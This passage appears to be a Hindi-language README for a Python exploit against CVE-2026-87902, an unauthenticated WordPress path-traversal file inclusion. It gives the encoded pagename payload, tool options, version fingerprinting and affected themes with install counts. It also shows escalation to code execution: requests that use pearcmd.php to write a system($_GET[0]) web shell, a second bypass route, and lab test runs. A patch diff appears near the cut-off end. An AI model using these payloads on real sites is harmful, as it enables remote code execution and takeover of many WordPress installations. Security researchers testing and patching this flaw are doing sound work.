CVE-2026-87902 के लिए Python PoC, जो get_page_template() के माध्यम से एक unauthenticated WordPress path traversal RCE है, जिसमें version fingerprinting, theme checks, और optional file inclusion शामिल है।
पेलोड। WP_Query इसे sanitize_title_for_query() से गुज़ारता है, जो शाब्दिक डॉट को डैश में बदल देता है लेकिन प्रतिशत-एन्कोडेड ऑक्टेट को सुरक्षित रखता है। get_page_template() फिर परिणाम को पथ में डिकोड करने के लिए urldecode() कॉल करता है
page_id
कोई भी प्रकाशित पृष्ठ, ताकि क्वेरी 404 लौटाने के बजाय एक पोस्ट से मेल खाए। इसके बिना पृष्ठ टेम्पलेट कभी लोड नहीं होता
Core page-{urldecode($pagename)}.php बनाता है और इसे स्टाइलशीट निर्देशिका के सापेक्ष हल करता है। एन्कोडिंग आवश्यक है: sanitize_title_for_query() शाब्दिक .. को - में बदल देता है।
पूर्वापेक्षाएँ
#
शर्त
क्यों
1
सक्रिय थीम एक शीर्ष-स्तरीय page-* निर्देशिका प्रदान करती है
नाम page-{payload}.php है, इसलिए इसका पहला खंड डिस्क पर हल होना चाहिए
2
एक प्रकाशित पृष्ठ जो न तो फ्रंट पेज है और न ही पोस्ट पेज
is_front_page और is_home को is_page से पहले आज़माया जाता है
3
लक्ष्य फ़ाइल .php में समाप्त होती है
core एक्सटेंशन जोड़ता है
कोई अपलोड की गई सामग्री नहीं, साइट कॉन्फ़िगरेशन, थीम या core में कोई बदलाव नहीं।
सभी 26 प्रभावित थीम निर्देशिका को page-templates कहती हैं। poc.py नाम themes.json से लेता है, जो थीम उसमें नहीं है उसके लिए page-templates मान लेता है, और --root कॉमा-सेपरेटेड सूची से ओवरराइड करता है।
Windows होस्ट पूर्वापेक्षा 1 को गिरा देते हैं। Win32 .. को शाब्दिक रूप से रद्द करता है, इसलिए जो खंड मौजूद नहीं है वह भी उसके बाद वाले .. से रद्द हो जाता है।
पथ
परिणाम
C:\...\wordpress\page-nothing\..\README.md
मौजूद है
C:\...\wordpress\page-nothing\README.md
मौजूद नहीं है
Windows 11 पर os.stat के साथ परीक्षण किया गया, जो PHP के file_exists() जैसा ही Win32 पथ प्रबंधन उपयोग करता है। WordPress स्वयं Windows पर नहीं चलाया गया।
उपयोग
जाँच, डिफ़ॉल्ट
थीम और दो संस्करणों की पहचान करता है, फिर पूछता है कि page-* निर्देशिका मौजूद है या नहीं। कुछ भी शामिल या निष्पादित नहीं होता।
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
page-<root>/ पर उत्तर
पठन
200
निर्देशिका मौजूद है और सूचीबद्ध करती है
404
ऐसी कोई निर्देशिका नहीं
403
अनिर्णायक, इसलिए page-<8 random hex>/ के लिए एक नियंत्रण अनुरोध अनुसरण करता है
403 फिर नियंत्रण 404
इनकार अस्तित्व के बारे में था, निर्देशिका मौजूद है
403 फिर नियंत्रण अस्वीकृत
सर्वर जो भी पूछा जाए उसे अस्वीकार करता है, exit 4
प्रभावित के लिए दोनों आवश्यक हैं: निर्देशिका मौजूद है, और संस्करण 7.1.1 या उससे नीचे है।
शोषण
पहले जाँच चलाता है, फिर फ़ाइल शामिल करता है जब तक कि जाँच ने लक्ष्य को बाहर न कर दिया हो।
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
एक रेंडर किया गया थीम टेम्पलेट हमेशा wp_head() के माध्यम से /wp-content/themes/ का संदर्भ देता है, थीम के बाहर से शामिल की गई फ़ाइल नहीं। यही निर्णायक नियम है।
विकल्प
विकल्प
डिफ़ॉल्ट
प्रभाव
--target URL
आवश्यक
परीक्षण के अधीन परिनियोजन
--exploit
बंद
जाँच के बाद एक फ़ाइल शामिल करें
--include PATH
wp-admin/install.php
शामिल करने के लिए .php। सापेक्ष पथ WordPress रूट से हल होते हैं, निरपेक्ष पथ --depth के साथ ऊपर चढ़ते हैं
--depth N
7
निरपेक्ष --include के लिए ../ छलांगें
--root NAME[,NAME]
themes.json से
आज़माने के लिए page-* निर्देशिकाएँ, page- उपसर्ग के बिना
--page-id ID
खोजा गया
पृष्ठ खोज छोड़ें
--theme SLUG
खोजा गया
थीम लुकअप छोड़ें
--theme-version V
खोजा गया
थीम संस्करण लुकअप छोड़ें
--no-version
बंद
कोई अनुरोध न करें जिसका एकमात्र उद्देश्य संस्करण जानना हो
--core-json PATH
core.json
रिलीज़ फ़िंगरप्रिंट, केवल तब पढ़े जाते हैं जब किसी ने संस्करण प्रकट न किया हो
--trace
बंद
प्रत्येक आदान-प्रदान प्रिंट करें
--json
बंद
एक JSON ऑब्जेक्ट, और कुछ नहीं
--yes
बंद
पुष्टि छोड़ें
कोड
जाँच
शोषण
0
प्रभावित
थीम के बाहर का .php शामिल किया गया
1
प्रभावित नहीं
शामिल नहीं
2
कोई उत्तर नहीं, या उत्तर WordPress नहीं है
वही
3
उपयोग, या पुष्टि पर अस्वीकृत
वही
4
अनिर्णायक, 403 और 7.1.x मामले देखें
उपयोग नहीं किया गया
डिफ़ॉल्ट --includewp-admin/install.php है: प्रत्येक WordPress में, आउटपुट असंदिग्ध, कुछ नहीं बदलता।
TLS प्रमाणपत्र सत्यापित नहीं होते। समाप्त, स्व-हस्ताक्षरित और होस्टनाम-बेमेल वाले स्वीकार किए जाते हैं।
संस्करण फ़िंगरप्रिंटिंग
क्रम में आज़माया जाता है, पहले उत्तर देने वाले पर रुक जाता है।
स्रोत
लागत
7.1.1 पर
होम पेज पर generator मेटा
मुफ़्त
सटीक संस्करण
/wp-includes/ एसेट पर ?ver=
मुफ़्त
सटीक संस्करण
/?feed=rss2
1 अनुरोध
सटीक संस्करण
/wp-links-opml.php
1 अनुरोध
सटीक संस्करण
core.json के विरुद्ध परोसे गए एसेट का sha256
1 अनुरोध
उन बाइट्स को भेजने वाली रिलीज़ का सेट
core.json 112 प्रकाशित रिलीज़ और 7.1.2 को कवर करता है, प्रत्येक में चार एसेट। उन्हें क्रॉस करने पर 9 रिलीज़ सटीक रूप से नामित होती हैं और औसतन 4 उम्मीदवार बचते हैं। प्रभावित के लिए प्रत्येक उम्मीदवार का 7.1.1 या उससे नीचे होना आवश्यक है।
7.1.1 और 7.1.2 को बाहर से अलग नहीं बताया जा सकता। जो तीन फ़ाइलें भिन्न हैं वे हैं wp-admin/about.php, wp-includes/template.php और wp-includes/version.php, जिनमें से कोई भी परोसी नहीं जाती। एक 7.1.x साइट जो अपना संस्करण छिपाती है, exit 4 पाती है।
थीम
wordpress.org पर 200 सर्वाधिक-स्थापित थीम। 26 एक page-* निर्देशिका प्रदान करती हैं और प्रभावित हैं, कुल मिलाकर 9,027,090 सक्रिय इंस्टॉल में से 765,500। अन्य 174 पूर्वापेक्षा 1 में विफल होती हैं।
थीम
संस्करण
इंस्टॉल
page-*
स्थिति
पुष्टि
neve
4.2.11
200,000
page-templates
🔴 प्रभावित
lab
sydney
2.71
80,000
page-templates
🔴 प्रभावित
lab
hestia
3.3.6
70,000
page-templates
🔴 प्रभावित
lab
inspiro
2.2.3
60,000
page-templates
🔴 प्रभावित
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 प्रभावित
survey
twentyfourteen
4.6
50,000
page-templates
🔴 प्रभावित
lab
twentytwelve
4.9
50,000
page-templates
🔴 प्रभावित
lab
colormag
4.2.5
40,000
page-templates
🔴 प्रभावित
lab
zakra
4.3.3
30,000
page-templates
🔴 प्रभावित
survey
spacious
1.9.12
20,000
page-templates
lab का अर्थ है poc.py के साथ स्टॉक इमेज के विरुद्ध एंड-टू-एंड परीक्षण, survey का अर्थ है निर्देशिका थीम संग्रह से पढ़ी गई और थीम को खड़ा नहीं किया गया।
परीक्षित और अप्रभावित, इनमें से किसी में भी page-* निर्देशिका नहीं: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive।
front-page.php, जो hestia, neve और अन्य द्वारा प्रदान किया जाता है, प्रभावितता नहीं बदलता। यह केवल अनुरोध के लिए फ्रंट पेज की ID को बाहर करता है।
संस्करण
रिलीज़
इमेज डिफ़ॉल्ट थीम
प्रभावित थीम के साथ
पुष्टि
7.1.2
🟢 प्रभावित नहीं, twentytwentyfive
🟢 प्रभावित नहीं, neve
lab
7.1.1
🟢 प्रभावित नहीं, twentytwentyfive
🔴 प्रभावित, neve
lab
7.1.0
🟢 प्रभावित नहीं, twentytwentyfive
🔴 प्रभावित, neve
lab
7.0.4
🟢 प्रभावित नहीं, twentytwentyfive
🔴 प्रभावित, neve
lab
6.8.3
🟢 प्रभावित नहीं, twentytwentyfive
🔴 प्रभावित, neve
lab
6.1.0
🟢 प्रभावित नहीं, twentytwentythree
🔴 प्रभावित, twentytwelve
lab
4.9.8
🟢 प्रभावित नहीं, twentyseventeen
🔴 प्रभावित, twentytwelve
lab
अन्य 105 रिलीज़
मापा नहीं गया
मापा नहीं गया
मापा नहीं गया
थीम संस्करण
पूर्वापेक्षा नहीं, page-* निर्देशिका है। neve 4.2.11 का उपयोग 6.8.3 और उससे ऊपर किया गया, twentytwelve 4.9 का दो पुराने core पर
7.1.2
कोई प्रकाशित इमेज नहीं। lab/run.py --core 7.1.2 के साथ परीक्षण किया गया, जो 7.1.1-apache पर आधिकारिक रिलीज़ संग्रह लागू करता है
आउट ऑफ द बॉक्स
4.1 से कोई भी रिलीज़ प्रभावित नहीं है। twentyfifteen से twentytwentyfive तक कोई page-* निर्देशिका नहीं रखती। twentyfourteen और twentytwelve रखती हैं, और 3.8 से 4.0 और 3.5 के डिफ़ॉल्ट थे, जिनके लिए कोई इमेज प्रकाशित नहीं है
पुल नहीं किया जा सकता
112 प्रकाशित टैग में से 15: 4.5.3-apache से पुराने 14 v1 मैनिफ़ेस्ट उपयोग करते हैं जिन्हें containerd 2.1 अस्वीकार करता है, और 4.5.3-apache में एक लेयर है जिसे रजिस्ट्री परोस नहीं सकती
प्रति रिलीज़ प्रकाशित PHP वेरिएंट, जो नीचे एस्केलेशन तय करते हैं:
WordPress रिलीज़
-apache के रूप में प्रकाशित PHP वेरिएंट
4.1.x से 4.5.x
कोई नहीं, केवल सादा टैग, 5.6
4.6.x से 5.0.x
5.67.07.17.27.3
5.1.x से 5.5.x
7.17.27.37.4
5.6.x से 6.0.x
7.27.37.48.08.1
6.1.x से 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x और 6.9.x
8.18.28.38.48.5
7.0.x और 7.1.x
8.28.38.48.5
PHP और एस्केलेशन
फ़ाइल समावेशन सभी चार इमेज पर सफल होता है और pearcmd.php प्रत्येक में मौजूद है। गैजेट के माध्यम से कमांड निष्पादन के लिए register_argc_argv चालू होना आवश्यक है, जिसे php8.5 इमेज बंद कर देती है।
इमेज
PHP
register_argc_argv $_SERVER['argv']
pearcmd.php के माध्यम से RCE
पुष्टि
7.1.1-php8.2-apache
8.2.33
चालू, भरा हुआ
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
चालू, भरा हुआ
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
चालू, भरा हुआ
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
बंद, null
🟢 पहुँचा नहीं गया
lab
apache2handler के माध्यम से पढ़ें, CLI से नहीं, जो सेटिंग को जबरन चालू कर देता है। RCE कॉलम के पीछे के दो अनुरोध:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py एक फ़ाइल शामिल करता है, यह गैजेट को नहीं चलाता। इसे --include /usr/local/lib/php/pearcmd.php --depth 7 से पहुँचें। 8.5 इमेज पर pearcmd.php के अलावा कोई गैजेट नहीं खोजा गया।
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
पहला कमज़ोर शाखा को ठीक करता है, दूसरा प्रत्येक हल किए गए टेम्पलेट पथ की जाँच करता है चाहे वह किसी से भी उत्पन्न हुआ हो। परीक्षित: 7.1.2 पर neve सक्रिय और page-templates मौजूद होने पर, वही अनुरोध इंस्टॉलर के बजाय थीम का अपना पृष्ठ रेंडर करता है, 55,084 बाइट्स।
7.1.1 और उससे पहले एक दूसरा मार्ग मौजूद है:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
यह कैसे भिन्न है
WP_Query को उसकी post_name शाखा में मोड़ता है, जो pagename को कभी नहीं बदलती, इसलिए शाब्दिक .. काम करता है
इसे क्या चाहिए
single.php के बिना एक थीम, क्योंकि is_single को is_page से पहले आज़माया जाता है
परीक्षित
7.1.1 पर bloghash के साथ
यह यहाँ क्यों है
यह केवल सैनिटाइज़र को कठोर बनाने वाले फ़िक्स से बच जाता है। ऊपर दी गई कंटेनमेंट जाँच इसे भी बंद कर देती है
लैब
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
प्रति पंक्ति
इमेज
आधिकारिक wordpress:<tag>, असंशोधित
आइसोलेशन
अपना कंटेनर, अपना पोर्ट, साझा MariaDB में अपना डेटाबेस
इंस्टॉल
HTTP के माध्यम से wp-admin/install.php से, इसलिए किसी संस्करण को मेल खाते wp-cli की आवश्यकता नहीं
स्थिति
जैसा इंस्टॉलर छोड़ता है, एक प्रकाशित पृष्ठ, कुछ अपलोड नहीं
संचालित
poc.py --exploit से, इसलिए एक पंक्ति समावेशन मापती है न कि दिखावट
विकल्प
डिफ़ॉल्ट
प्रभाव
--jobs N
2
समानांतर में पंक्तियाँ
--theme SLUG[@VERSION]
कोई नहीं
प्रत्येक पंक्ति पर इंस्टॉल और सक्रिय करें
--core VERSION
कोई नहीं
उस आधिकारिक रिलीज़ को इमेज के core पर लागू करें, जिससे बिना इमेज वाली रिलीज़ चल